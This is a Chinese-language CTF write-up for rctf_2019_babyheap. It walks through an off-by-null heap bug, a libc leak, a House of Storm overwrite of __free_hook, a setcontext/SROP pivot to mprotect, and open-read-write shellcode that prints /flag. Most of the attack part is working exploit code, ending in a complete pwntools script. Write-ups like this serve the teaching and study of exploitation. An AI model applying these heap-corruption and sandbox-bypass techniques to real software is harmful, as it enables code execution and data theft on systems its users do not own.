House of Storm + 堆SROP + orw

First Post:

Last Update:

Word Count:
2.1k

Read Time:
10 min

Page View: loading...

同样是house of storm,但是如果程序开启了沙箱,禁用了system函数,那我们常规把hook函数改为system函数的方法就失效了,
若是沙箱没有禁用open,read,write函数,这里我们可以考虑用orw。

例题

rctf_2019_babyheap

在这里插入图片描述

在这里插入图片描述
保护全开,禁用了execve就是禁用了system,因为system函数通过调用execve函数才能执行。
看一下ida

main函数

可以看到是实现了四个功能,增改删查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
while ( 1 )
{
menu();
switch ( get_int() )
{
case 1:
add();
break;
case 2:
edit();
break;
case 3:
delete();
break;
case 4:
show();
break;
case 5:
puts("See you next time!");
exit(0);
default:
puts("Invalid choice!");
break;
}
}
}

add函数

可以申请最大0x1000大小的chunk,最多申请16个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 add()
{
void **v0; // rbx
int i; // [rsp+0h] [rbp-20h]
int size; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
for ( i = 0; *(ptrs + 2 * i) && i <= 15; ++i )
;
if ( i == 16 )
{
puts("You can't");
exit(-1);
}
printf("Size: ");
size = get_int();
if ( size <= 0 || size > 0x1000 )
{
puts("Invalid size :(");
}
else
{
*(ptrs + 4 * i + 2) = size;
v0 = (ptrs + 16 * i);
*v0 = calloc(size, 1uLL);
puts("Add success :)");
}
return __readfsqword(0x28u) ^ v4;
}

edit函数

存在off-by-null漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 <= 0xF && *(ptrs + 2 * v1) )
{
printf("Content: ");
*(*(ptrs + 2 * v1) + read_n(*(ptrs + 2 * v1), *(ptrs + 4 * v1 + 2))) = 0; //off-by-one
puts("Edit success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;
}

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 <= 0xF && *(ptrs + 2 * v1) )
{
free(*(ptrs + 2 * v1));
*(ptrs + 2 * v1) = 0LL;
*(ptrs + 4 * v1 + 2) = 0;
puts("Delete success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;
}

show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 <= 0xF && *(ptrs + 2 * v1) )
puts(*(ptrs + 2 * v1));
else
puts("Invalid index :(");
return __readfsqword(0x28u) ^ v2;
}

思路

看了大佬的博客rctf_2019_babyheap,这里对其进行详细的解析。
在这里插入图片描述
程序禁用了fastbin,且能申请最大为0x1000大小的chuck,可以使用house of storm,修改free_hook的地址为shellcode,执行shellcode,这里我们需要用orw来写shellcode,并且在这之前需要用mprotect函数修改free_hook段为可读可写可执行权限。

调试过程

先把前面的写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# coding=utf-8
from pwn import *
#sh = remote("node4.buuoj.cn", 29278)
sh = process('./rctf_2019_babyheap')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./rctf_2019_babyheap")
libc = ELF('../../libc-2.23.so--64')
def dbg():
gdb.attach(sh)
pause()

#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))


def add(size):
ru("Choice: \n")
sl('1')
ru("Size: ")
sl(str(size))

def free(index):
ru("Choice: \n")
sl('3')
ru("Index: ")
sl(str(index))

def show(index):
ru("Choice: \n")
sl('4')
ru("Index: ")
sl(str(index))

def edit(index, content):
ru("Choice: \n")
sl('2')
ru("Index: ")
sl(str(index))
ru("Content: ")
s(content)

首先构造堆块重叠,泄露libc基地址

先申请四个chunk,申请的chunk真正大小分别为0x90,0x70,0x100,0x20,
chunk_3是为了free前三个chunk后防止堆块合并

1
2
3
4
5
add(0x80)#0
add(0x68)#1
add(0xf0)#2
add(0x18)#3
dbg()

在这里插入图片描述
之后free chunk_0,此时因为禁用了fastbin,所以chunk_0直接进入了unsortedbin里,再利用off-by-null漏洞修改chunk_2的pre_size为0x100(chunk_0+chunk_1正好就是0x100),修改chunk_2的size为0x100,使他处于free状态。

1
2
3
4
5
free(0)
payload = 'a'*0x60 + p64(0x100)
edit(1, payload)

dbg()

在这里插入图片描述
free chunk_2后,触发堆块前向合并,chunk_2的pre_size为是0x100,chunk_0和chunk_1加起来是0x100,就是前三个chunk合并。unsortedbin里存放着原chunk_0的起始地址。

1
2
3
free(2)

dbg()

在这里插入图片描述

在这里插入图片描述
此时chunk_1是没有被free的,然后我们再次申请0x80(原chunk_0大小)大小的chunk,此时原chunk_1的mem区域存放着main_arena+88,因为chunk_1并没有被free,所以我们直接调用show函数即可泄露libc基地址。

1
2
3
4
5
6
7
8
9
10
add(0x80)#0
show(1)
malloc_hook = u64(ru('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
lg('libc_base',libc.address)

dbg()

在这里插入图片描述
在这里插入图片描述

构造unsortbin chunk 和largebin chunk,进行 house of strom

先申请0x160大小的chunk,将unsortbin中残余chunk清空,之后构造unsortbin chunk 和largebin chunk的调试过程请参考我另一篇文章House of storm
此时我们已以可以修改free_hook处的值了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#---------------布置chunk-------------------------#
add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
add(0x508)#8
add(0x18)#9
add(0x18)#10

#dbg()
#----------------准备 unsorted chunk-----------------------#
edit(5, 'a'*0x4f0+p64(0x500))

#dbg()

free(5)
edit(4, 'a'*0x18)

#dbg()

add(0x18)#5
add(0x4d8)#11
free(5)
free(6)

#dbg()

add(0x30)#5
add(0x4e8)#6

#dbg()

#-------------------准备 large chunk-----------------------------------#
edit(8, 'a'*0x4f0+p64(0x500))
free(8)
edit(7, 'a'*0x18)
add(0x18)#8
add(0x4d8)#12
free(8)
free(9)
add(0x40)#8
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#

#dbg()

free(6)

#dbg()

add(0x4e8)#6

#dbg()

free(6)

#dbg()

#pause()
#--------------修改他们的满足条件进行 house of strom------------------------------#
storage = free_hook
fake_chunk = storage - 0x20
payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(11, payload)

#dbg()

payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
edit(12, payload)

#dbg()

add(0x48)#6

mprotect+shellcode

修改free_hook为set_context+53,free_hook+0x18,free_hook+0x18,shellcode1,
setcontext函数负责对各个寄存器进行赋值,甚至可以控制rip,对寄存器进行赋值主要从+53开始,shellcode1即为read(0, new_addr,0x1000),new_addr即为(free_hook &0xFFFFFFFFFFFFF000)free_hook所在内存页的起始位置。我们将对这里赋予可读可写可执行权限。

1
2
3
4
5
6
7
8
9
10
11
12
new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % new_addr
edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

在这里插入图片描述

修改前
在这里插入图片描述
修改后
在这里插入图片描述

SROP

我们利用pwntools里的SigreturnFrame()执行mprotect(new_addr,0x1000,7),并将rsp跳转到
free_hook+0x10处,即0x00007f05935487c0,之后执行0x00007f05935487c0地址处的代码,即我们刚才写入的shellcode1,执行read(0, new_addr,0x1000),将我们构造的第二个shellcode写入0x00007f0593548000处 ,并将rip跳转到我们写的第二个shellcode处执行。

1
2
3
4
5
6
7
8
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
free(12)

在这里插入图片描述
在这里插入图片描述

ORW

利用orw构造shellcode,发送过去并执行,获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
sl(asm(shellcode2))
itr()

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
# coding=utf-8
from pwn import *
#sh = remote("node4.buuoj.cn", 29278)
sh = process('./rctf_2019_babyheap')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./rctf_2019_babyheap")
libc = ELF('../../libc-2.23.so--64')
def dbg():
gdb.attach(sh)
pause()

#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))


def add(size):
ru("Choice: \n")
sl('1')
ru("Size: ")
sl(str(size))

def free(index):
ru("Choice: \n")
sl('3')
ru("Index: ")
sl(str(index))

def show(index):
ru("Choice: \n")
sl('4')
ru("Index: ")
sl(str(index))

def edit(index, content):
ru("Choice: \n")
sl('2')
ru("Index: ")
sl(str(index))
ru("Content: ")
s(content)

def pwn():

add(0x80)#0
add(0x68)#1
add(0xf0)#2
add(0x18)#3

#dbg()

free(0)
payload = 'a'*0x60 + p64(0x100)
edit(1, payload)

#dbg()

free(2)

#dbg()

add(0x80)#0
show(1)
malloc_hook = u64(ru('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
lg('libc_base',libc.address)

#dbg()

add(0x160)#2

#dbg()
#---------------布置chunk-------------------------#
add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
add(0x508)#8
add(0x18)#9
add(0x18)#10

#dbg()
#----------------准备 unsorted chunk-----------------------#
edit(5, 'a'*0x4f0+p64(0x500))

#dbg()

free(5)
edit(4, 'a'*0x18)

#dbg()

add(0x18)#5
add(0x4d8)#11
free(5)
free(6)

#dbg()

add(0x30)#5
add(0x4e8)#6

#dbg()

#-------------------准备 large chunk-----------------------------------#
edit(8, 'a'*0x4f0+p64(0x500))
free(8)
edit(7, 'a'*0x18)
add(0x18)#8
add(0x4d8)#12
free(8)
free(9)
add(0x40)#8
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#

#dbg()

free(6)

#dbg()

add(0x4e8)#6

#dbg()

free(6)

#dbg()

#pause()
#--------------修改他们的满足条件进行 house of strom------------------------------#
storage = free_hook
fake_chunk = storage - 0x20
payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(11, payload)

#dbg()

payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
edit(12, payload)

#dbg()

add(0x48)#6

#dbg()

new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % new_addr
edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

#dbg()

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
free(12)
#dbg()

shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
sl(asm(shellcode2))


dbg()
itr()


pwn()